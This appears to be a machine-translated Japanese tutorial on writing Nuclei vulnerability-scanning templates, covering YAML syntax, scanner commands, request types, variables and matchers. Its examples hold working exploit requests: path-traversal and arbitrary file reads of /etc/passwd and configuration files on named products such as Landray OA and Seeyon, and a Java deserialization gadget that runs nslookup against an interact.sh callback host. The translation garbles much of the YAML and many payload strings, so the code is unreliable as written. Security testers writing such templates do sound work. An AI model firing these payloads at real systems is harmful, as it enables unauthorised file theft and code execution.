1。スクリプトの構文形式
ケース感度
インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。
キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。
リスト:短い水平線を使用して、リスト内のアイテムを表します。
コメント:#から始まる行はコメントです。
文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。
IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。
情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。
名前:テンプレート名、この提案はIDと同じです
重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。
説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。
タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。
私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。
試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます
2。一般的な核コマンド
1。テンプレート形式を確認します
Nuclei -T test.yaml -validate
2.テンプレートとターゲットを指定します
Nuclei -T test.yaml -u http://exam.com
3。バッチスキャン
Nuclei -T test.yaml -l Target.txt
4. Socks5プロキシスキャンを指定します
Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890
3。スクリプトの例
ID:ファイルインクルード#テンプレートの一意の識別子
info:#名前、著者、バージョンなど、テンプレートの基本情報。
name:ファイルには、スクリプトの名前が含まれています
著者: bakclion #template著者
severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です
説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ
Reference: http://www.baidu.com #Reference Source
tags:テスト#categoryタグ
requests:#ターゲットと対話する方法のリクエストセクションを定義します
-Method: getやpostなどの#httpメソッドを取得する
PATH: #requested Path
- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'
Headers: #Requestヘッダー
user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'
Matchers:
-Type:ステータス#マッチバックパックステータス
Status:
-200
-Type: REGEX #Match戻りコンテンツ
パート:ボディ
regex:
- 'root:x:0:0:root3360/root3360/bin/bash'
iv。スクリプト構成
1。開始
id: landray-oa-fileread
info:
name: landray-oa-fileread
著者:バックライオン
重大度:高
説明: |
lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です
fofa: app='landray-oa system'
Reference: https://github.com/backslion
tags: fileread、landray
2.request
を取得します
リクエスト:
-Method: GET
PATH:
- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'
post
requests:
-Method:投稿
PATH:
- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'
Headers:
Content-Type:アプリケーション/x-www-form-urlencoded
body: 'var={' body': {'file':'file: ///etc/passwd'}} '
raw
requests:
-Raw:
- |
post /spirit/interface/gateway.php http/1.1
host: {{hostname}}
Content-Type:アプリケーション/x-www-form-urlencoded
json={'url':'/general /././mysql5/my.ini '}
ジャンプ
-method: get
PATH:
- '{{baseurl}}'
Redirects: True
max-redirects: 2
または
リクエスト:
-Raw:
- |
get/zentao/api-getmodel-editor-save-filepath=bote http/1.1
Redirects: True
max-redirects: 3
パス
リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。
{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。
{{randstr}}:これはランダムな文字列です。
{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。
{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。
{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。
{{host}}:example.comなどのホスト名を表します。
{{port}}:ポート番号、たとえば443を示します。
{{path}}: /seeyon /loginなどのパスを表します。
{{file}}:bar.phpなどのファイル名を表します。
{{Scheme}}:HTTPSなどのプロトコルを表します。
{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。
MD5():これは、MD5によって変換された予約された単語です
変数値
{{baseurl}} https://example.com:443/foo/bar.php
{{rooturl}} https://example.com:443
{{hostname}} example.com:443
{{host}} example.com
{{port}} 443
{{path}} /foo
{{file}} bar.php
{{Scheme}} https
一撃の停止
一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。
リクエスト:
-Method: GET
PATH:
- '{{baseurl}}'
- '{{baseurl}}/login'
- '{{baseurl}}/main'
- '{{baseurl}}/index'
Stop-at-first-match: true
oob
Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。
リクエスト:
-Raw:
- |
get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1
host: {{hostname}}
Java Deserialization
raw:
- |
post /index.faces; jsessionid=x http /1.1
host: {{hostname}}
Accept-Encoding: gzip、deflate
Content-Length: 1882
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Connection:閉じます
Content-Type:アプリケーション/x-www-form-urlencoded
javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}
3.Matcher
Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています
Matchers:
-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL
DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice
- 'status_code_1==200 status_code_2==302'
- 'all_headers_1==' admin 'all_headers_2==' index ''
condition:と#need上記の2つの条件を同時に満たす
-Type:ワード
Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。
- 「admin.php」
- '61646D696E2E706870'
- '{{match_str}}'
Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex
#次の設定は基本的に一般的です(!注:DSLタイプを除く)
PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。
条件:または#match結果論理操作と| or
ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false
-Type:ステータス
Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています
-200
-Type: REGEX
regex:#Stringsliceを一致させるデータの規則性を使用します
- '。*\ admin.php。*'
-Type:バイナリ
binary: #sistingsliceを一致させるデータのバイナリを使用します
- '61646D696E2E706870'
-Type:サイズ
size: #returnパケットデータサイズ(注:ボディデータを参照)intslice
-1234
DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。
変数名説明例出力データContent_Length
コンテンツ長ヘッダー
content_length
12345
status_code
応答ステータスコード
status_code
200
all_headers
ヘッダー情報に戻ります
体
身体情報を返します
body_1
header_name
ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます
user_agent
xxxx
header_name
ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます
set_cookie
xxx=
Recommended Comments